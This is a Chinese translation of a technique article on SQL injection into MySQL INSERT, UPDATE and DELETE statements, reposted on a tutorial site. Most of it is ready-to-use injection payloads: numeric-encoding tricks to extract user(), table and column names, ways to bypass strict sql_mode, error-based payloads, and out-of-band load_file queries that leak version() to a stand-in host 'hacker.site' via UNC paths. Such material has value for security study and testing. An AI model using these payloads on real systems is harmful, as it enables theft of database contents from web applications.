《MySQL Out-of-Band 注入攻擊》要點:
本文介紹了MySQL Out-of-Band 注入攻擊,希望對您有用。如果有疑問,可以聯系我們。
作者:Osanda
原文鏈接:http://t.cn/RJz9KA3
本文由 看雪翻譯小組ghostway編譯
綜述
INSERT 和 UPDATE 傳統的 in-band(帶內)注入方式是修改查詢語句.舉個栗子,一條INSERT語句可以通過修改查詢語句內容,注釋掉不要用到的,提交,從返回的數據中提取有用的信息,UPDATE 語句的操作也是類似的,但是只適用于多列的情況.假如我們面臨的 UPDATE 或 INSERT 只是單列的情況或者我們不知道準確的查詢語句或者 mysql_error() 沒有顯示錯誤信息呢?
我們看如下的情況,如何注入?為了簡單的目的,以下語句并沒有太復雜
$query = "UPDATE users SET username = '$username' WHERE id = '$id';";
參數:
username=test&id=16
最近我一直在研究這種情況下 in-band 和 out-of-band 的利用辦法.
為了理解我所描述的,我們先看 MySQL 如何處理字符串.簡單地說,MySQL 中一個字符串等于 '0' .如下:
mysql> select 'osanda' = 0;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 'osanda' = 0 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 1 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
mysql> select !'osanda';
+‐‐‐‐‐‐‐‐‐‐‐+
| !'osanda' |
+‐‐‐‐‐‐‐‐‐‐‐+
| 1 |
+‐‐‐‐‐‐‐‐‐‐‐+
假如我們給一個字符串+數字呢?應該是等于0+數字.
mysql> select 'osanda'+123;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 'osanda'+123 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 123 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
這個動態特性,讓我想到了很多.但是,我們先進一步研究下 data type.
假如我們給一個字符串加一個 MySQL 中支持的最大值,比如 BIGINT 類型的,會如何呢?
mysql> select 'osanda'+~0;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 'osanda'+~0 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 1.8446744073709552e19 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
值是‘1.8446744073709552e19’ 意味著,最終字符串返回的是一個 8 字節的 DOUBLE 類型數據.繼續驗證:
mysql> select ~0+0e0;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| ~0+0e0 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 1.8446744073709552e19 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
mysql> select (~0+0e0) = ('osanda' + ~0) ;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| (~0+0e0) = ('osanda' + ~0) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 1 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
經過驗證,我們知道 string 返回的值就是一個 DOUBLE 數字.給一個 larger 值+一個 DOUBLE 數字,將返回一個 IEEE 標準 DOUBLE 精度數字.為了克服這個問題,我們只需要進行按位或操作.
mysql> select 'osanda' | ~0;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 'osanda' | ~0 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 18446744073709551615 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
完美,我們獲得了最大的 64-bit 的 BITINT 值是 0xffffffffffffffff .現在,我們可以確定,通過按位或操作,我們可以獲得精確的數值,且該值一定小于 BIGINT,因為我們不可能超過 64-bit 大小.
String->數字轉換
假如我們使用數字來傳遞數據,然后再回顯的時候再將數字轉換回來,會如何?從這個出發點,我想出了這個方案.首先,我們將 String 轉換為 hex 值,下一步,將 hex 值轉換為數字.
String ‐> Hexadecimal ‐> Decimal
mysql> select conv(hex(version()), 16, 10);
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex(version()), 16, 10) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 58472576987956 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
解密的時候,我們做逆操作.
Decimal ‐> Hexadecimal ‐> String
mysql> select unhex(conv(58472576987956, 10, 16));
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| unhex(conv(58472576987956, 10, 16)) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 5.5.34 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
但是,請注意,我上文提到過的一點.MySQL 中最大的數字的類型是 BITINT,我們不能超過這個范圍.因此一個字符串
的最大長度是8個字節.如下:
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex('AAAAAAAA'), 16, 10) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 4702111234474983745 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
注意‘4702111234474983745’可以解密回‘4702111234474983745’,但是如果我們再加一個‘A’,我們將無法獲得
正確的數字,將產生一個無符號的BIGINT值0xffffffffffffffff
mysql> select conv(hex('AAAAAAAAA'), 16, 10);
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex('AAAAAAAAA'), 16, 10) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 18446744073709551615 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
mysql> select conv(hex('AAAAAAAAA'), 16, 10) = ~0;
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex('AAAAAAAAA'), 16, 10) = ~0 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 1 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
由于這個限制,我們必須將一個字符串分割成8個字節的單獨字符串.我們可以使用 substr() 函數.
select conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)), 16, 10);(n從1開始)
例如,對于user()返回的字符串,按8個字節為單位裁剪,依次處理,直至為空.
mysql> select conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)), 16, 10);
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)), 16, 10) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 8245931987826405219 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
mysql> select conv(hex(substr(user(),1 + (2‐1) * 8, 8 * 2)), 16, 10);
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| conv(hex(substr(user(),1 + (2‐1) * 8, 8 * 2)), 16, 10) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| 107118236496756 |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
最后,我們解碼我們獲得的結果:
mysql> select concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756,
10,
16)));
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16))) |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| root@localhost |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
注入
1. 提取表名
以下語法用來從 information_schema 數據庫中提取表名:
select conv(hex(substr((select table_name from information_schema.tables where
table_schema=schema() limit 0,1),1 + (n‐1) * 8, 8*n)), 16, 10);
2. 提取列名
以下語法用來從 information_schema 數據庫中提取列名:
select conv(hex(substr((select column_name from information_schema.columns where
table_name=’Name of your table’ limit 0,1),1 + (n‐1) * 8, 8*n)), 16, 10);
3. update 語句
現在我們可以將之前學到的用起來.如下是一個使用這種方式的update語句的例子:
update emails set email_id='osanda'|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10)
where id='16';
對于之前提到的例子,我們可以這樣注入:
name=test' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)),16, 10) where id=16;%00&id=16
最終的語句將會變成這樣:
update users set username = 'test' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)),16,
10) where id=16;%00' where id = '16';
這個是我開發的一個測試程序的截圖:
請點擊此處輸入圖片描述
4. Insert 語句
我們假設一個insert語句如下:
insert into users values (17,'james', 'bond');
和update語句一樣,你可以這樣利用:
insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n‐1) * 8, 8
* n)),16, 10);
當然在這個例子中,你可以修改該語句,然后注入,但是就像之前提到的情況,如果該insert語句只有一列,那么這個辦法將非常有用.
MySQL 5.7中的限制
你可能注意到了,該辦法在MySQL5.7.5之后的版本中無效了.
mysql> update users set username = 'osanda' | conv(hex(substr(user(),1 + (1‐
1) * 8, 8 * 1)),16, 10) where id=14;
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'osanda'
在MySQL5.7版本上研究發現,MySQL服務器默認運行在 Strict SQL 模式下.MySQL 5.7.5,默認的 sql_mode 包括標
志 STRICT_TRANS_TABLES .
SELECT @@GLOBAL.sql_mode;
SELECT @@SESSION.sql_mode;
在MySQL5.7的 Strict SQL 模式下,你不能利用這個從整數到字符串轉換的技巧,因為原始的列的數據類型是’varchar’.Strict 模式用以控制MySQL怎樣處理比如INSERT或UPDATE語句中遇到無效的或者丟失的數據類型轉換語句.如果數據類型錯誤,則拋出一個異常.
為了克服這個,你必須在注入的時候總是使用一個整數.如下,這個查詢是OK的.
mysql> update users set username = '0' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 *
1)),16, 10) where id=14;
Query OK, 1 row affected (0.08 sec)
Rows matched: 1 Changed: 1 Warnings: 0
除此之外,你可以在運行的時候關閉Strict模式. SESSION 變量任意用戶在他自身的會話中都都可以修改.
SET sql_mode = '';
SET SESSION sql_mode = '';
設置 GLOBAL 變量需要 SUPER 權限,同時影響所有當前連接的客戶端的行為.
SET GLOBAL sql_mode = '';
要做一個持久的方案,你需要在MySQL Server啟動的時候指定參數 sql_mode 為空.
mysqld.exe ‐‐sql‐mode=
你也可以給你的配置文件‘my.cnf’中添加如下選項:
sql‐mode=
為了觀察到默認選項的加載順序和配置文件的路徑,可以如下操作:
mysqld.exe ‐‐help ‐‐verbose
你可以創建一個文件‘myfile.ini’,然后指定該文件是MySQL的默認配置文件:
mysqld.exe ‐‐defaults‐file=myfile.ini11
配置內容如下:
[mysqld]
sql‐mode=
如果一個開發人員使用了 IGNORE 關鍵字,則 Strict 模式 被忽略.我們可以在Strict模式下使用比如 INSERT IGNORE 或
者 UPDATE IGNORE 關鍵字.如下:
mysql> update ignore users set username = 'osanda' | conv(hex(substr(user(),1 + (1‐1)
* 8, 8 * 1)),16, 10) where id=14;
Query OK, 1 row affected, 1 warning (0.30 sec)
Rows matched: 1 Changed: 1 Warnings: 1
解碼
提供一些不同語言的解碼的辦法:
SQL
select unhex(conv(value, 10, 16));
Python
dec = lambda x:("%x"%x).decode('hex')
Ruby
dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }
Ruby中也可以這樣用:
dec = lambda { |x| puts x.to_s(16).scan(/\w+/).pack("H*") }
傳統的常規辦法
當存在多列情況的注入點時,你可以用如下常規注入辦法:
1. Update語句
假設依然是之前的問題,但是這次我們有兩列.我們需要知道另一個列名:
UPDATE newsletter SET username = '$user', email = '$email' WHERE id = '$id';
如果應用程序回顯了‘$emial’變量給我們,我們可以這樣注入:
username=test',email = (select version()) where id = '16'‐‐ ‐&email=test
2. Insert 語句
如果我們使用 query 來做例子,像前一個例子,我們可以通過修改查詢語句來注入.但是,需要提前知道 value 的個數.
INSERT INTO `database`.`users` (`id`,`user`,`pass`) VALUES ('$id','$user', '$pass');
如果應用程序回顯了‘$user’變量給我們,我們可以這樣注入:
id=16',(SELECT @@version), 'XXX');‐‐ ‐&user=test&pass=test
Error Based 的注入
我之前寫過一篇關于Insert,Update和Delete語句注入的文章.你可以使用如Error Based 的注入例子.
Update語句
UPDATE users SET password = 'osanda'*multipoint((select*from(select
name_const(version(),1))x))*'' WHERE id='16' ;
UPDATE users SET password = 'osanda' WHERE id='16'*polygon((select*from(select
name_const(version(),1))x))*'' ;
Insert語句
INSERT INTO users VALUES (17,'james', 'bond'*polygon((select*from(select
name_const(version(),1))x))*'');13 | P a g e
Delete語句
DELETE FROM users WHERE id='17'*polygon((select*from(select
name_const(version(),1))x))*'';
將 ‘*’ 替換為: ||, or, |, and, &&, &, >>, <<, ^, xor, =, mul, /, div, ‐, +, %,
mod.
Out-of-Band(OOB)注入
你可以查看我之前的研究,我詳細描述過windows平臺上,關于MySQL的OOB技術.同樣的辦法可以運用到’INSERT’,
‘UPDATE’和’DELETE’語句中.
Update語句
UPDATE users SET username =
'osanda'load_file(concat('\\\\',version(),'.hacker.siste\\a.txt')) WHERE id='15';
UPDATE users SET username = 'osanda' WHERE
id='15'*load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Insert語句
INSERT into users VALUES
(15,'james','bond'|load_file(concat('\\\\',version(),'.hacker.site\\a.txt')));
Delete語句
DELETE FROM users WHERE
id='15'*load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
可以使用 ||, or, |, and, &&, &, >>, <<, ^, xor, =, *,mul, /, div, ‐, +, %,
mod.
結論
在實際的場景中,一個漏洞通常并不是可以直接利用的.在SQL注入中取決于你利用這些技術來想出一個創建性的方案.
分析對應的情景,調整你的思路,找到正確的辦法.
感謝
特別感謝 Mukarram Khalid (@themakmaniac)測試了我的研究.
引用
http://dev.mysql.com/doc/refman/5.7/en/
聲明:轉載請保存文章的完整性,注明作者、譯者及原文鏈接.
《MySQL Out-of-Band 注入攻擊》是否對您有啟發,歡迎查看更多與《MySQL Out-of-Band 注入攻擊》相關教程,學精學透。維易PHP學院為您提供精彩教程。
轉載請注明本頁網址:
http://www.snjht.com/jiaocheng/7123.html